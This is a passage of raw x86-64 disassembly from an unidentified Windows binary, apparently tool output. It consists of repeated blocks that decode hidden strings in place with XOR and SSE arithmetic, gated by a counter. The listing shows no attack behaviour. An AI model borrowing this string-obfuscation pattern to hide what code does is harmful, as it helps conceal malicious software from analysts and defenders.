call fcn.14011bcd0
lea rdx, [0x1400444b0]
mov byte [0x14029c62c], 1
lea rcx, [rbp + 0x528]
call fcn.140063fc0
mov rcx, rax
call fcn.1400459d0
lea rcx, [rbp + 0x528]
call fcn.1400459b0
cmp byte [0x14029c7ea], sil
je 0x14005f46f
lea rcx, [rbp + 0x760]
call fcn.14011bcd0
lea rdx, [0x14004e7a0]
mov byte [0x14029c60e], 1
lea rcx, [rbp + 0x538]
call fcn.140063fc0
mov rcx, rax
call fcn.1400459d0
lea rcx, [rbp + 0x538]
call fcn.1400459b0
cmp byte [0x14029c80d], sil
je 0x14005f4b2
lea rcx, [rbp + 0x760]
call fcn.14011bcd0
lea rdx, [0x14004e3e0]
mov byte [0x14029c60e], 1
lea rcx, [rbp + 0x548]
call fcn.140063fc0
mov rcx, rax
call fcn.1400459d0
lea rcx, [rbp + 0x548]
call fcn.1400459b0
cmp byte [0x14029c824], sil
je 0x14005f4f5
lea rcx, [rbp + 0x760]
call fcn.14011bcd0
lea rdx, [0x140052240]
mov byte [0x14029c60e], 1
lea rcx, [rbp + 0x558]
call fcn.140063fc0
mov rcx, rax
call fcn.1400459d0
lea rcx, [rbp + 0x558]
call fcn.1400459b0
cmp byte [0x14029c820], sil
je 0x14005f538
lea rcx, [rbp + 0x760]
call fcn.14011bcd0
lea rdx, [0x140051cd0]
mov byte [0x14029c60e], 1
lea rcx, [rbp + 0x568]
call fcn.140063fc0
mov rcx, rax
call fcn.1400459d0
lea rcx, [rbp + 0x568]
call fcn.1400459b0
cmp byte [0x14029c809], sil
je 0x14005f57b
lea rcx, [rbp + 0x760]
call fcn.14011bcd0
lea rdx, [0x1400529f0]
mov byte [0x14029c60e], 1
lea rcx, [rbp + 0x578]
call fcn.140063fc0
mov rcx, rax
call fcn.1400459d0
lea rcx, [rbp + 0x578]
call fcn.1400459b0
cmp byte [0x14029c7f5], sil
je 0x14005f5be
lea rcx, [rbp + 0x760]
call fcn.14011bcd0
lea rdx, [0x140041d60]
mov byte [0x14029c60a], 1
lea rcx, [rbp + 0x588]
call fcn.140063fc0
mov rcx, rax
call fcn.1400459d0
lea rcx, [rbp + 0x588]
call fcn.1400459b0
cmp byte [0x14029c7f4], sil
je 0x14005f601
lea rcx, [rbp + 0x760]
call fcn.14011bcd0
lea rdx, [0x140040b00]
mov byte [0x14029c60a], 1
lea rcx, [rbp + 0x598]
call fcn.140063fc0
mov rcx, rax
call fcn.1400459d0
lea rcx, [rbp + 0x598]
call fcn.1400459b0
cmp byte [0x14029c7f1], sil
je 0x14005f644
lea rcx, [rbp + 0x760]
call fcn.14011bcd0
lea rdx, [0x140044b80]
mov byte [0x14029c60a], 1
lea rcx, [rbp + 0x5a8]
call fcn.140063fc0
mov rcx, rax
call fcn.1400459d0
lea rcx, [rbp + 0x5a8]
call fcn.1400459b0
cmp byte [0x14029c850], sil
mov rax, qword [0x14029c610]
movsd xmm1, qword [rax + 0x3e68]
cvtpd2ps xmm1, xmm1
jne 0x14005f682
movaps xmm0, xmm1
subss xmm0, dword [0x14029c978]
comiss xmm0, dword [0x1401ca524]
jbe 0x14005f682
inc dword [0x14029c8fc]
movss dword [0x14029c978], xmm1
movss xmm14, dword [0x1401ca69c]
lea rcx, [rbp + 0x30]
movss xmm2, dword [0x1401ca634]
movaps xmm1, xmm14
call fcn.140001570
cmp byte [0x14029c60c], sil
je 0x140058565
call fcn.140052900
cmp dword [0x14029c8fc], 0x10
jl 0x140058565
cmp byte [0x14029c60b], sil
lea rcx, [rsp + 0x60]
mov byte [rsp + 0x60], sil
je 0x14005f898
lea rdx, [rbp + 0xa18]
call fcn.140062130
mov rbx, rax
cmp byte [rax + 0xd], sil
je 0x14005f884
mov r8d, esi
cmp r13d, 2
jl 0x14005f845
movd eax, xmm6
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
mov r8d, ntohl
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [rbx], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [rbx + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx + 8]
xorps xmm1, xmm0
movd dword [rbx + 8], xmm1
mov r9d, r8d
add r9, rbx
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x14005f850
xor edx, edx
lea rcx, [rbp + 0xb40]
mov r8d, 0xff
jmp 0x14005fa53
lea rdx, [rbp + 0xa0a]
call fcn.140062160
mov rbx, rax
cmp byte [rax + 0xd], sil
je 0x14005fa44
mov r8d, esi
cmp r13d, 2
jl 0x14005fa07
movd eax, xmm6
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
mov r8d, ntohl
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [rbx], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [rbx + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx + 8]
xorps xmm1, xmm0
movd dword [rbx + 8], xmm1
mov r9d, r8d
add r9, rbx
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x14005fa10
xor r8d, r8d
lea rcx, [rbp + 0xb50]
mov edx, 0xff
xor r9d, r9d
mov dword [rsp + 0x20], 0xff
call fcn.1400015b0
mov rcx, rax
call fcn.140030360
mov r9, rbx
mov qword [rsp + 0x20], rsi
mov r8d, eax
lea rdx, [rbp + 0x30]
mov rcx, r15
call fcn.140023b50
movss xmm2, dword [0x1401ca63c]
lea rcx, [rbp + 0x38]
movaps xmm1, xmm14
call fcn.140001570
cmp dword [0x14029c8fc], 0x20
jl 0x14005fe62
cmp byte [0x14029c60d], sil
lea rcx, [rsp + 0x60]
mov byte [rsp + 0x60], sil
je 0x14005fc78
lea rdx, [rbp + 0x728]
call fcn.140062190
mov rbx, rax
cmp byte [rax + 0xc], sil
je 0x14005fc64
mov r8d, esi
cmp r13d, 2
jl 0x14005fc2a
movd eax, xmm6
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
mov r8d, ntohl
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [rbx], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [rbx + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx + 8]
xorps xmm1, xmm0
movd dword [rbx + 8], xmm1
mov r9d, r8d
add r9, rbx
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x14005fc30
xor edx, edx
lea rcx, [rbp + 0xb60]
mov r8d, 0xff
jmp 0x14005fe33
lea rdx, [rbp + 0x6a6]
call fcn.1400621c0
mov rbx, rax
cmp byte [rax + 0xc], sil
je 0x14005fe24
mov r8d, esi
cmp r13d, 2
jl 0x14005fde7
movd eax, xmm6
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
mov r8d, ntohl
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [rbx], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [rbx + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx + 8]
xorps xmm1, xmm0
movd dword [rbx + 8], xmm1
mov r9d, r8d
add r9, rbx
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x14005fdf0
xor r8d, r8d
lea rcx, [rbp + 0xb70]
mov edx, 0xff
xor r9d, r9d
mov dword [rsp + 0x20], 0xff
call fcn.1400015b0
mov rcx, rax
call fcn.140030360
mov r9, rbx
mov qword [rsp + 0x20], rsi
mov r8d, eax
lea rdx, [rbp + 0x38]
mov rcx, r15
call fcn.140023b50
movss xmm2, dword [0x1401ca644]
lea rcx, [rbp + 0x40]
movaps xmm1, xmm14
call fcn.140001570
cmp dword [0x14029c8fc], 0x30
jl 0x140060251
cmp byte [0x14029c62e], sil
lea rcx, [rsp + 0x60]
mov byte [rsp + 0x60], sil
je 0x140060067
lea rdx, [rbp + 0x682]
call fcn.1400621f0
mov rbx, rax
cmp byte [rax + 0xb], sil
je 0x140060053
mov r8d, esi
cmp r13d, 2
jl 0x140060018
movd eax, xmm6
lea rcx, [rbp + 0xb80]
movdqa xmm1, xmm9
movdqa xmm0, xmm9
punpckldq xmm1, xmm9
xor edx, edx
pmuldq xmm1, xmm8
mov r8d, 0xff
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [rbx], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [rbx + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx + 8]
xorps xmm1, xmm0
movd dword [rbx + 8], xmm1
jmp 0x140060222
mov r9, rbx
nop dword [rax + rax]
mov eax, 0x24924925
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x140060020
xor edx, edx
lea rcx, [rbp + 0xb80]
mov r8d, 0xff
jmp 0x140060222
lea rdx, [rbp + 0x68e]
call fcn.140062210
mov rbx, rax
cmp byte [rax + 0xb], sil
je 0x140060213
mov r8d, esi
cmp r13d, 2
jl 0x1400601d2
movd eax, xmm6
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [rbx], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [rbx + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx + 8]
xorps xmm1, xmm0
movd dword [rbx + 8], xmm1
jmp 0x140060213
mov r9, rbx
nop word [rax + rax]
mov eax, 0x24924925
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x1400601e0
xor r8d, r8d
lea rcx, [rbp + 0xb90]
mov edx, 0xff
xor r9d, r9d
mov dword [rsp + 0x20], 0xff
call fcn.1400015b0
mov rcx, rax
call fcn.140030360
mov r9, rbx
mov qword [rsp + 0x20], rsi
mov r8d, eax
lea rdx, [rbp + 0x40]
mov rcx, r15
call fcn.140023b50
movaps xmm2, xmm7
lea rcx, [rbp + 0x48]
movaps xmm1, xmm14
call fcn.140001570
cmp dword [0x14029c8fc], 0x40
jl 0x140060632
cmp byte [0x14029c62c], sil
lea rcx, [rsp + 0x60]
mov byte [rsp + 0x60], sil
je 0x140060448
lea rdx, [rbp + 0x6b3]
call fcn.140062230
mov rbx, rax
cmp byte [rax + 0xc], sil
je 0x140060434
mov r8d, esi
cmp r13d, 2
jl 0x1400603f4
movd eax, xmm6
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
mov r8d, ntohl
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [rbx], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [rbx + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx + 8]
xorps xmm1, xmm0
movd dword [rbx + 8], xmm1
mov r9d, r8d
add r9, rbx
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x140060400
xor edx, edx
lea rcx, [rbp + 0xba0]
mov r8d, 0xff
jmp 0x140060603
lea rdx, [rbp + 0x6c0]
call fcn.140062260
mov rbx, rax
cmp byte [rax + 0xc], sil
je 0x1400605f4
mov r8d, esi
cmp r13d, 2
jl 0x1400605b7
movd eax, xmm6
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
mov r8d, ntohl
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [rbx], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [rbx + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx + 8]
xorps xmm1, xmm0
movd dword [rbx + 8], xmm1
mov r9d, r8d
add r9, rbx
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x1400605c0
xor r8d, r8d
lea rcx, [rbp + 0xbb0]
mov edx, 0xff
xor r9d, r9d
mov dword [rsp + 0x20], 0xff
call fcn.1400015b0
mov rcx, rax
call fcn.140030360
mov r9, rbx
mov qword [rsp + 0x20], rsi
mov r8d, eax
lea rdx, [rbp + 0x48]
mov rcx, r15
call fcn.140023b50
movss xmm2, dword [0x1401ca650]
lea rcx, [rbp + 0x50]
movaps xmm1, xmm14
call fcn.140001570
cmp dword [0x14029c8fc], 0x5a
jl 0x140060941
cmp byte [0x14029c60e], sil
lea rcx, [rsp + 0x60]
mov byte [rsp + 0x60], sil
je 0x1400607c7
lea rdx, [rbp + 0x1ea]
call fcn.140062290
mov rbx, rax
cmp byte [rax + 7], sil
je 0x1400607b3
mov r8d, esi
cmp r13d, 2
jl 0x14006077d
movd eax, xmm6
lea rcx, [rbp + 0xbc0]
movdqa xmm1, xmm9
movdqa xmm0, xmm9
punpckldq xmm1, xmm9
xor edx, edx
pmuldq xmm1, xmm8
mov r8d, 0xff
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [rbx], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
jmp 0x140060912
mov r9, rbx
mov eax, 0x24924925
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x140060780
xor edx, edx
lea rcx, [rbp + 0xbc0]
mov r8d, 0xff
jmp 0x140060912
lea rdx, [rbp + 0x1f5]
call fcn.1400622a0
mov rbx, rax
cmp byte [rax + 7], sil
je 0x140060903
mov r8d, esi
cmp r13d, 2
jl 0x1400608c7
movd eax, xmm6
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [rbx], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
